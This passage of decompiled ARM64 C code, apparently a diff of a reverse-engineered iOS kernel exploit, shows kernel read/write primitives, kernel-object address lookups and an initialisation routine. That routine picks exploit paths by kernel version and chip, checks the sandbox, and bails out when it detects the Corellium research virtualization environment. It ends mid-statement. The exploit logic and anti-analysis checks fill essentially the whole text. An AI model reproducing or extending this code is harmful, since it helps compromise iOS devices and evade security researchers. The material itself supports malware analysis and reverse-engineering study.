!*(_QWORD *)(a1 + 0x218) ) - { - if ( !a3 ) - goto LABEL_47; - } - else if ( *(_BYTE *)(a1 + 0xC) && (a3 & 1) == 0 ) - { -LABEL_47: - sub_2A63C(a1, v18, 0LL); - if ( !v24 ) - return 0x28010LL; - goto LABEL_58; - } - if ( !kread32_outptr(a1, v34 - 0x10, &v32) ) - return v8; - if ( (v32 & 0x7FFFFFFF) == 0x4A616371 ) - { - if ( !kread32_outptr(a1, v34 - 0xC, &v33) ) - return v8; - if ( (unsigned int)(v33 - 0x11) > 0x1DF ) - return 0x28011LL; - __memset_chk(); - if ( !(unsigned int)kwritebuf_last_1(a1, v34, (__int64)&v35, (unsigned int)(v33 - 0x10)) ) - return 0x28010LL; - } - else - { - if ( !a4 ) - return 0x28010LL; - *a4 = 1; - } -LABEL_58: - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - { - v26 = v10 + v19 + *(int *)(a1 + 0x168); - } - else - { - v25 = v31; - v26 = v25 + (unsigned int)sub_331D0(a1); - } - if ( !(unsigned int)kread64(a1, v26, &v34) ) - return v8; - if ( !v34 ) - goto LABEL_85; - if ( !validate_addr_maybe2(a1, v34) ) - return 0x28026LL; - if ( v30 ) - { - *(_QWORD *)&v27 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v27 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v65 = v27; - v66 = v27; - v63 = v27; - v64 = v27; - v61 = v27; - v62 = v27; - v59 = v27; - v60 = v27; - v57 = v27; - v58 = v27; - v55 = v27; - v56 = v27; - v53 = v27; - v54 = v27; - v51 = v27; - v52 = v27; - v49 = v27; - v50 = v27; - v47 = v27; - v48 = v27; - v45 = v27; - v46 = v27; - v43 = v27; - v44 = v27; - v42 = v27; - v40 = v27; - v41 = v27; - v38 = v27; - v39 = v27; - v36 = v27; - v37 = v27; - v35 = v27; - if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v34, (__int64)&v35, v30) ) - return 0x28010LL; - goto LABEL_85; - } - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || !*(_QWORD *)(a1 + 0x218) ) - { - if ( !a3 ) - goto LABEL_74; - } - else if ( *(_BYTE *)(a1 + 0xC) && (a3 & 1) == 0 ) - { -LABEL_74: - sub_2A63C(a1, v26, 0LL); - if ( !v28 ) - return 0x28010LL; - goto LABEL_85; - } - if ( !kread32_outptr(a1, v34 - 0x10, &v32) ) - return v8; - if ( (v32 & 0x7FFFFFFF) != 0x4A616371 ) - { - if ( a4 ) - { - *a4 = 1; - goto LABEL_85; - } - return 0x28010LL; - } - if ( !kread32_outptr(a1, v34 - 0xC, &v33) ) - return v8; - if ( (unsigned int)(v33 - 0x11) > 0x1DF ) - return 0x28011LL; - __memset_chk(); - if ( !(unsigned int)kwritebuf_last_1(a1, v34, (__int64)&v35, (unsigned int)(v33 - 0x10)) ) - return 0x28010LL; -LABEL_85: - if ( mach_task_self_ == a2 && (!a4 || !*a4) ) - krw_ctx_set_flag((_DWORD *)a1, 0x800000); - return 0LL; -} -// 3C6D0: variable 'v24' is possibly undefined -// 3C880: variable 'v28' is possibly undefined -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (000000000003C9A4) ---------------------------------------------------- -__int64 __fastcall sub_3C9A4(__int64 a1, unsigned int a2) -{ - __int64 v4; // x19 - unsigned __int64 v5; // x0 - unsigned __int64 v6; // x22 - int v7; // w8 - __int64 v10; // x23 - unsigned int v11; // w0 - __int64 v12; // x22 - unsigned __int64 v13; // x22 - unsigned __int64 v14; // x0 - int v15; // w8 - __int64 v16; // x8 - __int128 v17; // q0 - __int64 v18; // x2 - int v19; // w0 - __int64 v21; // x0 - __int128 v22; // q0 - unsigned __int64 v23; // [xsp+8h] [xbp-2E8h] BYREF - unsigned int v24; // [xsp+14h] [xbp-2DCh] BYREF - __int64 v25; // [xsp+18h] [xbp-2D8h] BYREF - _OWORD v26[32]; // [xsp+20h] [xbp-2D0h] BYREF - _OWORD v27[8]; // [xsp+220h] [xbp-D0h] BYREF - - v4 = 0x28010LL; - v23 = 0LL; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) - { - v14 = sub_33E8C(a1, a2); - if ( v14 ) - { - v15 = *(_DWORD *)(a1 + 0x140); - switch ( v15 ) - { - case 0x1809: - v16 = 0x2B8LL; - break; - case 0x1F53: - v16 = 0x320LL; - break; - case 0x1C1B: - v16 = 0x2A0LL; - break; - default: - return 0x28007LL; - } - v13 = v16 + v14; - if ( !kread64((_DWORD *)a1, v16 + v14, (__int64 *)&v23) ) - return 0x2800FLL; - v10 = 0LL; - goto LABEL_26; - } - return 0x2800ELL; - } - v5 = port_name_to_kaddr(a1, a2); - if ( !v5 ) - return 0x2800ELL; - v6 = v5; - v7 = *(_DWORD *)(a1 + 0x140); - if ( v7 == 0x2258 || v7 == 0x2712 || v7 == 0x225C ) - v10 = 0x48LL; - else - v10 = 0LL; - v11 = sub_33098(a1); - if ( !kread64((_DWORD *)a1, v6 + v11, (__int64 *)v27) ) - return 0x2800FLL; - if ( !validate_addr(a1, *(__int64 *)&v27[0]) ) - return 0x28026LL; - v12 = *(_QWORD *)&v27[0]; - v13 = v12 + (unsigned int)sub_33168(a1); - if ( !kread64((_DWORD *)a1, v13, (__int64 *)&v23) ) - return 0x2800FLL; -LABEL_26: - if ( !v23 ) - { -LABEL_37: - if ( !(unsigned int)sub_1BC78(a2) ) - return 0x28003LL; - if ( mach_task_self_ == a2 ) - krw_ctx_set_flag((_DWORD *)a1, 0x8000000); - return 0LL; - } - if ( !validate_addr_maybe2(a1, v23) ) - return 0x28026LL; - if ( (_DWORD)v10 ) - { - *(_QWORD *)&v17 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v17 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v26[0x1E] = v17; - v26[0x1F] = v17; - v26[0x1C] = v17; - v26[0x1D] = v17; - v26[0x1A] = v17; - v26[0x1B] = v17; - v26[0x18] = v17; - v26[0x19] = v17; - v26[0x16] = v17; - v26[0x17] = v17; - v26[0x14] = v17; - v26[0x15] = v17; - v26[0x12] = v17; - v26[0x13] = v17; - v26[0x10] = v17; - v26[0x11] = v17; - v26[0xE] = v17; - v26[0xF] = v17; - v26[0xC] = v17; - v26[0xD] = v17; - v26[0xA] = v17; - v26[0xB] = v17; - v26[8] = v17; - v26[9] = v17; - v26[7] = v17; - v26[5] = v17; - v26[6] = v17; - v26[3] = v17; - v26[4] = v17; - v26[1] = v17; - v26[2] = v17; - v26[0] = v17; - if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v23, (__int64)v26, v10) ) - return v4; - goto LABEL_37; - } - v25 = 0LL; - if ( !(unsigned int)sub_36160(a1, 0xDu, &v25) ) - return 0x28012LL; - v18 = v25; - if ( v25 ) - { -LABEL_36: - sub_2A63C(a1, v13, v18); - if ( !v19 ) - return v4; - goto LABEL_37; - } - v24 = 0x80; - v21 = sub_37210(a1, &v24); - v25 = v21; - if ( !v21 ) - return 0xAD009LL; - *(_QWORD *)&v22 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v22 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v27[6] = v22; - v27[7] = v22; - v27[4] = v22; - v27[5] = v22; - v27[2] = v22; - v27[3] = v22; - v27[0] = v22; - v27[1] = v22; - if ( (unsigned int)kwritebuf_last_1(a1, v21, (__int64)v27, 0x80LL) && (unsigned int)sub_361DC(a1, 0xDu, v25) ) - { - v18 = v25; - goto LABEL_36; - } - return v4; -} -// 3CBB8: variable 'v19' is possibly undefined - -//----- (000000000003CCA8) ---------------------------------------------------- -__int64 __fastcall driver_init2_1(__int64 a1, int a2) -{ - kern_return_t v4; // w0 - __int64 mach_port_with_a2; // x21 - int v7; // w0 - __int64 v8; // x27 - __int128 v9; // q1 - __int64 v10; // x9 - io_registry_entry_t v11; // w0 - io_registry_entry_t v12; // w22 - const __CFString *v13; // x0 - const __CFString *v14; // x23 - const __CFString *CFProperty; // x0 - const __CFString *v16; // x25 - CFTypeID TypeID; // x26 - const __CFString *v18; // x24 - int HasPrefix; // w26 - unsigned __int64 v20; // x0 - unsigned __int64 v21; // x22 - int *v22; // x22 - int v23; // w8 - int v24; // w9 - unsigned int v25; // w9 - __int64 v26; // x8 - int v27; // w0 - unsigned __int64 v28; // x8 - int v29; // w1 - int v30; // w1 - unsigned __int64 v31; // x8 - int v32; // w8 - int v33; // w0 - int v34; // w8 - int v35; // w9 - _DWORD *v36; // x26 - unsigned __int64 v37; // x8 - int v38; // w0 - unsigned __int64 v39; // x9 - unsigned __int64 v40; // x22 - int v41; // w23 - unsigned __int64 v42; // x8 - unsigned __int64 v43; // x21 - __int64 v44; // x8 - unsigned __int64 v45; // x0 - __int64 v46; // x1 - unsigned __int64 v47; // x0 - mach_vm_address_t v48; // x24 - __int64 v49; // x8 - unsigned __int64 v50; // x0 - __int64 v51; // x24 - __int64 (__fastcall *v52)(__int64); // x8 - unsigned int v53; // w1 - unsigned __int64 v54; // x0 - unsigned __int64 v55; // x21 - size_t v56; // x8 - void *v57; // x0 - __int128 v58; // q1 - task_name_t v59; // w0 - __int64 *v60; // x23 - __int64 *st_ino; // x21 - int v62; // w26 - __int64 v63; // x0 - unsigned __int64 v64; // x0 - void *v66; // x0 - __int64 v67; // x21 - __int128 v68; // q1 - __int64 v69; // x8 - __int64 v70; // x8 - host_t v71; // w0 - host_t v72; // w2 - int v73; // w0 - int v74; // w0 - host_priv_t v75; // w0 - __int64 v76; // x0 - void *v77; // x0 - __int64 v78; // x21 - unsigned int v79; // w26 - __int128 v80; // q1 - void *v81; // x0 - __int64 v82; // x23 - __int128 v83; // q1 - __int64 v84; // x9 - __int64 v85; // x0 - unsigned __int64 variable_addr; // x0 - unsigned __int64 v87; // x22 - unsigned __int64 v88; // x0 - mach_vm_address_t v89; // x23 - unsigned __int64 v90; // x8 - unsigned int v91; // w0 - mach_port_name_t *v92; // [xsp+8h] [xbp-168h] - unsigned __int64 v93; // [xsp+10h] [xbp-160h] - int v94; // [xsp+18h] [xbp-158h] - int v95; // [xsp+20h] [xbp-150h] BYREF - char v96; // [xsp+27h] [xbp-149h] BYREF - __int64 v97; // [xsp+28h] [xbp-148h] BYREF - __int128 v98; // [xsp+30h] [xbp-140h] BYREF - __int128 v99; // [xsp+40h] [xbp-130h] - __int64 v100; // [xsp+50h] [xbp-120h] - __int64 v101; // [xsp+60h] [xbp-110h] BYREF - size_t v102; // [xsp+68h] [xbp-108h] BYREF - __int64 v103; // [xsp+70h] [xbp-100h] BYREF - size_t v104; // [xsp+78h] [xbp-F8h] BYREF - stat v105; // [xsp+80h] [xbp-F0h] BYREF - - v101 = 0LL; - v100 = 0LL; - v98 = 0u; - v99 = 0u; - v97 = 0LL; - v96 = 0; - v95 = 0; - *(_QWORD *)(a1 + 0x1930) = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)(a1 + 0x1938) = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)(a1 + 0x1940) = 0xFFFFFFFFFFFFFFFFLL; - mach_timebase_info((mach_timebase_info_t)(a1 + 0x25C)); - pthread_mutex_init((pthread_mutex_t *)(a1 + 0x330), 0LL); - pthread_mutex_init((pthread_mutex_t *)(a1 + 0x268), 0LL); - v4 = semaphore_create(mach_task_self_, (semaphore_t *)(a1 + 0x264), 0, 0); - if ( v4 ) - return v4 | 0x80000000; - kernel_version_parse((__int64)&v98, (_DWORD *)(a1 + 0x16C), (_DWORD *)(a1 + 0x170)); - if ( !v7 ) - return 0xAD015LL; - v8 = 0x28012LL; - v9 = v99; - *(_OWORD *)(a1 + 0x140) = v98; - *(_OWORD *)(a1 + 0x150) = v9; - v10 = *((_QWORD *)&v99 + 1); - *(_QWORD *)(a1 + 0x160) = v100; - *(_DWORD *)(a1 + 0x168) = 8; - mach_port_with_a2 = 0x28007LL; - if ( (unsigned __int64)(v10 - 0x18090006700000LL) > 0xF090EFE400003LL ) - return mach_port_with_a2; - memset(&v105, 0, sizeof(v105)); - if ( !stat("/usr/libexec/corelliumd", &v105) ) - return 0x28022LL; - getpid(); - if ( (int)sandbox_check() <= 0 ) - { - v11 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/"); - if ( v11 ) - { - v12 = v11; - v13 = CFStringCreateWithCString(kCFAllocatorDefault, "IOPlatformSerialNumber", 0x8000100u); - if ( v13 ) - { - v14 = v13; - CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty(v12, v13, kCFAllocatorDefault, 0); - if ( CFProperty ) - { - v16 = CFProperty; - TypeID = CFStringGetTypeID(); - if ( TypeID == CFGetTypeID(v16) ) - { - v18 = CFStringCreateWithCString(kCFAllocatorDefault, "CORELLIUM", 0x8000100u); - HasPrefix = CFStringHasPrefix(v16, v18); - CFRelease(v18); - CFRelease(v16); - CFRelease(v14); - IOObjectRelease(v12); - if ( HasPrefix ) - return 0x28022LL; - goto LABEL_17; - } - } - CFRelease(v14); - } - IOObjectRelease(v12); - } - } -LABEL_17: - v20 = sub_41040(); - if ( !v20 ) - return 0x28012LL; - v21 = v20; - LODWORD(v104) = 0; - if ( !(unsigned int)sub_1F240(&v104) ) - return 0x28022LL; - if ( (_DWORD)v104 == 0x92FB37C8 || (_DWORD)v104 == 0x37A09642 || (_DWORD)v104 == 0x2C91A47E ) - { - if ( (*(_QWORD *)(v21 + 0x10) & 0x4000000) == 0 ) - goto LABEL_23; - return 0x28022LL; - } - if ( *(_WORD *)(v21 + 0x26) != 0x80 ) - return 0x28022LL; -LABEL_23: - v22 = (int *)(a1 + 0x140); - v23 = *(_DWORD *)(a1 + 0x140); - if ( v23 > 0x2257 ) - { - if ( v23 == 0x2258 || v23 == 0x2712 ) - goto LABEL_33; - v24 = 0x225C; - } - else - { - if ( (unsigned int)(v23 - 0x1F53) < 2 || v23 == 0x1809 ) - goto LABEL_33; - v24 = 0x1C1B; - } - if ( v23 != v24 ) - return mach_port_with_a2; -LABEL_33: - if ( v23 >= 0x1C1B ) - *(_BYTE *)(a1 + 0xB) = check_sandboxed(*(_QWORD *)(a1 + 0x158) >> 0x2B > 0x44AuLL); - if ( !(unsigned int)sub_1F240(&v103) ) - return 0x28012LL; - if ( (int)v103 <= 0x2876F5B4 ) - { - if ( (int)v103 > (int)0xE81E7EF5 ) - { - if ( (int)v103 > 0x7D34B9E ) - { - if ( (_DWORD)v103 == 0x7D34B9F ) - { - v30 = 1; - } - else - { - if ( (_DWORD)v103 != 0x1B588BB3 ) - goto LABEL_69; - if ( (int)number_of_cpus() >= 8 && *(_QWORD *)(a1 + 0x158) >= 0x22580A06C00000uLL ) - krw_ctx_set_flag((_DWORD *)a1, 8); - v30 = 0x80000; - } - goto LABEL_68; - } - if ( (_DWORD)v103 != 0xE81E7EF6 ) - { - v25 = 0xFA33415E; - goto LABEL_64; - } - v30 = 0x200; -LABEL_68: - krw_ctx_set_flag((_DWORD *)a1, v30); - goto LABEL_69; - } - if ( (_DWORD)v103 == 0x8765EDEA ) - { -LABEL_65: - if ( *(_QWORD *)(a1 + 0x158) > 0x2711FFFFFFFFFFuLL ) - krw_ctx_set_flag((_DWORD *)a1, 0x20); - v30 = 0x1000000; - goto LABEL_68; - } - if ( (_DWORD)v103 == 0x92FB37C8 ) - { - v30 = 0x2000; - goto LABEL_68; - } - if ( (_DWORD)v103 != 0xDA33D83D ) - goto LABEL_69; - v27 = number_of_cpus(); - v28 = *(_QWORD *)(a1 + 0x158); - if ( v27 < 8 ) - { - if ( v28 > 0x2711FFFFFFFFFFLL ) - { - v29 = 0x20; - goto LABEL_118; - } - } - else if ( v28 >> 0x2B > 0x44A ) - { - v29 = 8; -LABEL_118: - krw_ctx_set_flag((_DWORD *)a1, v29); - } - v30 = 0x100000; - goto LABEL_68; - } - if ( (int)v103 <= 0x573B5EEB ) - { - switch ( (_DWORD)v103 ) - { - case 0x2876F5B5: - krw_ctx_set_flag((_DWORD *)a1, 0x20); - v30 = 0x4000000; - break; - case 0x2C91A47E: - v30 = 0x8000; - break; - case 0x462504D2: - v30 = 0x4000; - break; - default: - goto LABEL_69; - } - goto LABEL_68; - } - if ( (int)v103 > 0x67CEEE92 ) - { - if ( (_DWORD)v103 == 0x67CEEE93 ) - { - v30 = 0x40; - goto LABEL_68; - } - v25 = 0x72015832; -LABEL_64: - if ( (_DWORD)v103 != v25 ) - goto LABEL_69; - goto LABEL_65; - } - if ( (_DWORD)v103 != 0x573B5EEC ) - { - v25 = 0x5F4DEA93; - goto LABEL_64; - } - krw_ctx_set_flag((_DWORD *)a1, 0x80000); - v39 = *(_QWORD *)(a1 + 0x158); - if ( v39 - 0x1C1B1914600000LL <= 0x641056BEFFFFFLL ) - { - v26 = 0xAD008LL; - if ( v39 <= 0x1F543C41E00000LL || *(int *)(a1 + 0x140) >= 0x2258 ) - return v26; - } -LABEL_69: - v31 = *(_QWORD *)(a1 + 0x158); - if ( v31 <= 0x1F530F027FFFFFLL ) - return mach_port_with_a2; - if ( *(int *)(a1 + 0x140) <= 0x2257 ) - { - memset(&v105, 0, 0x20); - v104 = 0x20LL; - if ( sysctlbyname("hw.model", &v105, &v104, 0LL, 0LL) ) - { - v32 = *__error(); - if ( v32 < 0 ) - v32 = -v32; - return v32 | 0x40000000u; - } - if ( (v105.st_dev & 0xDF) == 0x4A && !((sub_1F0F4() - 0x40000001) >> 0x1E) ) - krw_ctx_set_flag((_DWORD *)a1, 0x10000000); - v31 = *(_QWORD *)(a1 + 0x158); - } - if ( v31 <= 0x225C23801AF00CLL ) - { - if ( v31 > 0x225C19804FFFFFLL ) - { - if ( (*(_DWORD *)a1 & 0x5584001) == 0 || (*(_DWORD *)a1 & 1) != 0 ) - goto LABEL_87; - goto LABEL_86; - } - if ( v31 > 0x1F543C41E00000LL ) - { -LABEL_86: - if ( *v22 >= 0x2258 ) - return mach_port_with_a2; - goto LABEL_87; - } - if ( v31 <= 0x1F530F027FFFFFLL || *v22 > 0x2257 || ((*(_DWORD *)a1 >> 0x1C) & 1) == 0 ) - return mach_port_with_a2; - } -LABEL_87: - v33 = sub_1F114(); - if ( !v33 ) - return 0x28012LL; - *(_DWORD *)(a1 + 0x180) = v33; - *(_QWORD *)(a1 + 0x188) = (unsigned int)(v33 - 1); - v34 = *(_DWORD *)(a1 + 0x140); - if ( v34 > 0x2257 ) - { - if ( v34 == 0x2258 || v34 == 0x2712 ) - goto LABEL_96; - v35 = 0x225C; - } - else - { - if ( (unsigned int)(v34 - 0x1F53) < 2 || v34 == 0x1809 ) - goto LABEL_96; - v35 = 0x1C1B; - } - if ( v34 != v35 ) - return 0x28012LL; -LABEL_96: - *(_DWORD *)(a1 + 0x178) = 2 * v33 - 0x40; - *(_OWORD *)(a1 + 0x19E8) = xmmword_43730; - if ( !(unsigned int)another_sandbox_check(a1) ) - return 0x28012LL; - mach_port_with_a2 = create_mach_port_with_a2(a1, 0x200u); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - v36 = (_DWORD *)(a1 + 0x1930); - if ( a2 ) - { - v37 = *(_QWORD *)(a1 + 0x158); - if ( v37 <= 0x27120F04B00002LL ) - { - if ( v37 <= 0x225C1E804FFFFFLL ) - { - if ( v37 <= 0x225C19804FFFFFLL ) - { - if ( v37 <= 0x1F530F027FFFFFLL || (*(_DWORD *)a1 & 0x5584001) == 0 && v37 <= 0x1F5418FFFFFFFFLL ) - { - v38 = sub_1C0C8(a1, &v95); - goto LABEL_122; - } - } - else if ( (*(_DWORD *)a1 & 0x5584001) == 0 || (*(_DWORD *)a1 & 1) != 0 ) - { - goto LABEL_121; - } - v38 = sub_1C3EC(a1, &v95); - goto LABEL_122; - } - } - else if ( (*(_BYTE *)a1 & 0x20) != 0 ) - { - v38 = sub_B460(a1, &v95) == 0; -LABEL_122: - if ( !v38 ) - return 0x2801DLL; - if ( v95 - && ((unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) - || (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) - || *v36 != 0xFFFFFFFF - && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF - && (*(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) - || *(_DWORD *)(a1 + 0x1938) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x193C) != 0xFFFFFFFF) - || (unsigned int)(*(_DWORD *)(a1 + 0x1918) + 1) >= 2) ) - { - krw_ctx_set_flag((_DWORD *)a1, 0x10000); - } - goto LABEL_148; - } -LABEL_121: - v38 = sub_1D70C(a1, &v95); - goto LABEL_122; - } -LABEL_148: - v40 = *(_QWORD *)(a1 + 0x158); - if ( v40 >> 0x2B <= 0x44A ) - v41 = 0x80; - else - v41 = 0x480; - if ( ((unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 || !*(_QWORD *)(a1 + 0xD8)) - && ((unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) < 2 || !*(_QWORD *)(a1 + 0xF8) || !*(_QWORD *)(a1 + 0x100)) - && (*v36 == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || (*(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF) - && (*(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF || !*(_QWORD *)(a1 + 0x218))) - && (unsigned int)(*(_DWORD *)(a1 + 0x1918) + 1) <= 1 ) - { - mach_port_with_a2 = sub_CE78(); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - } - if ( sub_25DE8(a1) ) - { - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL && *(_BYTE *)(a1 + 0xB) ) - { - v94 = 1; - goto LABEL_172; - } - mach_port_with_a2 = sub_25804(a1); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - } - v94 = 0; -LABEL_172: - v93 = *(_QWORD *)(a1 + 0x158); - v42 = v93; - if ( v93 <= 0x1F530F027FFFFFLL ) - { - mach_port_with_a2 = sub_3C450(a1, mach_task_self_, 0, &v96); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - v42 = *(_QWORD *)(a1 + 0x158); - } - v92 = (mach_port_name_t *)(a1 + 0x191C); - if ( v42 <= 0x2257FFFFFFFFFFLL ) - { - v46 = *(_QWORD *)(a1 + 0x19D0); - mach_port_with_a2 = 0x2800CLL; - if ( !v46 ) - return mach_port_with_a2; - v47 = sub_32A64(a1, v46); - if ( !v47 ) - return mach_port_with_a2; - v48 = v47; - if ( !kread32_outptr(a1, v47, &v105) ) - return 0x2800FLL; - if ( !v105.st_dev && !noppl_kwrite32(a1, v48, 1) ) - return 0x28010LL; - mach_port_with_a2 = sub_36480(a1, *(_QWORD *)(a1 + 0x19D0), v92); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - } - else - { - *(_DWORD *)(a1 + 0x191C) = 0xFFFFFFFF; - } - if ( (unsigned int)sub_1C058(a1) ) - { - mach_port_with_a2 = sub_1CEC4(a1); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - } - v43 = *(_QWORD *)(a1 + 0x19C8); - if ( !v43 ) - { - v44 = *(_QWORD *)(a1 + 0x118); - if ( v44 ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - { - v43 = *(_QWORD *)(v44 + 0x138); - if ( v43 ) - { -LABEL_199: - *(_QWORD *)(a1 + 0x19C8) = v43; - goto LABEL_200; - } - } - } - if ( *(_QWORD *)(a1 + 0x19E0) ) - { - v45 = sub_3C398((_DWORD *)a1); - if ( v45 ) - { - v43 = *(_QWORD *)(a1 + 0x19E0) + v45; -LABEL_196: - v49 = *(_QWORD *)(a1 + 0x118); - if ( v49 && *(_QWORD *)(a1 + 0x120) ) - *(_QWORD *)(v49 + 0x138) = v43; - goto LABEL_199; - } - } - else - { - v43 = sub_39888((_DWORD *)a1, 0LL); - if ( v43 ) - goto LABEL_196; - } - return 0x28014LL; - } -LABEL_200: - if ( !*(_QWORD *)(a1 + 0x19E0) ) - { - v50 = sub_3C398((_DWORD *)a1); - if ( !v50 ) - return 0x28015LL; - *(_QWORD *)(a1 + 0x19E0) = v43 - v50; - } - if ( !sub_3E1D8(a1, mach_task_self_) ) - return 0x28016LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - { - if ( (v94 & 1) != 0 ) - goto LABEL_211; -LABEL_210: - krw_ctx_set_flag((_DWORD *)a1, 0x100); - goto LABEL_211; - } - if ( !v96 && v93 <= 0x1F530F027FFFFFLL ) - goto LABEL_210; -LABEL_211: - v51 = *(_QWORD *)(a1 + 0x19F8); - if ( !v51 ) - { - v57 = calloc(0x128uLL, 1uLL); - if ( !v57 ) - return 0xAD009LL; - v51 = (__int64)v57; - sub_19DD4((__int64)v57, a1); - v58 = v99; - *(_OWORD *)(v51 + 0x70) = v98; - *(_OWORD *)(v51 + 0x80) = v58; - *(_QWORD *)(v51 + 0x90) = v100; - *(_DWORD *)(v51 + 0x98) = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v51 + 0x38) = *(_DWORD *)(a1 + 0x180); - if ( !sub_1A4FC(v51, *(_DWORD *)(a1 + 0x1918), v43, v41) ) - return 0x28017LL; - *(_QWORD *)(a1 + 0x19F8) = v51; - } - v52 = *(__int64 (__fastcall **)(__int64))(a1 + 0x1E0); - if ( v52 && *(_QWORD *)(a1 + 0x1E8) ) - { - mach_port_with_a2 = v52(a1); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - *(_QWORD *)(a1 + 0x1E0) = 0LL; - *(_QWORD *)(a1 + 0x1E8) = 0LL; - } - if ( *(_QWORD *)(a1 + 0x158) > 0x2257FFFFFFFFFFuLL ) - { - v53 = *v92; - if ( !*v92 ) - v53 = *(_DWORD *)(a1 + 0x1918); - v54 = sub_33CB0((_DWORD *)a1, v53); - if ( v54 ) - { - v55 = v54; - if ( kread64((_DWORD *)a1, v54 + 0x20, &v103) && kread64((_DWORD *)a1, v55 + 0x28, (__int64 *)&v102) ) - { - *(_QWORD *)(a1 + 0x19E8) = v103; - v56 = v102; - goto LABEL_233; - } - } - return 0x28012LL; - } - v59 = *v92; - if ( !*v92 ) - v59 = *(_DWORD *)(a1 + 0x1918); - if ( (unsigned int)sub_1F1C8(v59, &v105, &v104) ) - return 0x28012LL; - *(_QWORD *)(a1 + 0x19E8) = *(_QWORD *)&v105.st_dev; - v56 = v104; -LABEL_233: - *(_QWORD *)(a1 + 0x19F0) = v56; - if ( *v36 == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || !*(_QWORD *)(a1 + 0x218) ) - { - goto LABEL_260; - } - v60 = *(__int64 **)(a1 + 0x220); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - { - if ( v60 ) - goto LABEL_259; - goto LABEL_260; - } - if ( v60 ) - goto LABEL_259; - sub_19C34("__DATA_CONST", *(_QWORD *)(a1 + 0x19F8), "__const", &v105); - st_ino = (__int64 *)v105.st_ino; - if ( !v105.st_ino || !*(_QWORD *)&v105.st_uid || v105.st_ino >= *(_QWORD *)&v105.st_uid + v105.st_ino ) - return 0LL; - v60 = 0LL; - v62 = 0; - while ( 1 ) - { - if ( !v60 ) - { - if ( sub_19B30(*(__int64 **)&v105.st_dev, st_ino) == 7 ) - v60 = st_ino; - else - v60 = 0LL; - goto LABEL_255; - } - v63 = sub_19B94(*(_QWORD *)&v105.st_dev, st_ino); - v64 = sub_29D2C((_DWORD *)a1, v63); - if ( v64 >= *(_QWORD *)(a1 + 0x19E8) && (v64 & 3) == 0 && v64 < *(_QWORD *)(a1 + 0x19F0) ) - break; - v62 = 0; - v60 = 0LL; -LABEL_255: - st_ino = (__int64 *)((char *)st_ino + *(int *)(a1 + 0x168)); - if ( (unsigned __int64)st_ino >= *(_QWORD *)&v105.st_uid + v105.st_ino ) - return 0LL; - } - if ( ++v62 != 7 ) - goto LABEL_255; - *(_QWORD *)(a1 + 0x220) = v60; -LABEL_259: - *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x100LL) = v60; -LABEL_260: - if ( *(_BYTE *)(v51 + 0x9C) ) - krw_ctx_set_flag((_DWORD *)a1, 0x1000); - if ( v40 > 0x2257FFFFFFFFFFLL && *(_QWORD *)(v51 + 0xA0) ) - { - v66 = calloc(0x128uLL, 1uLL); - if ( v66 ) - { - v67 = (__int64)v66; - sub_19DD4((__int64)v66, a1); - v68 = v99; - *(_OWORD *)(v67 + 0x70) = v98; - *(_OWORD *)(v67 + 0x80) = v68; - *(_QWORD *)(v67 + 0x90) = v100; - *(_DWORD *)(v67 + 0x98) = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v67 + 0x38) = *(_DWORD *)(a1 + 0x180); - if ( (unsigned int)sub_19F2C(v67, *(_QWORD *)(v51 + 0xA0)) ) - { - *(_QWORD *)(a1 + 0x1A00) = v67; - goto LABEL_267; - } - return 0x28017LL; - } - return 0xAD009LL; - } -LABEL_267: - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x1000) ) - { - if ( !(unsigned int)get_kext_base_addr(a1, 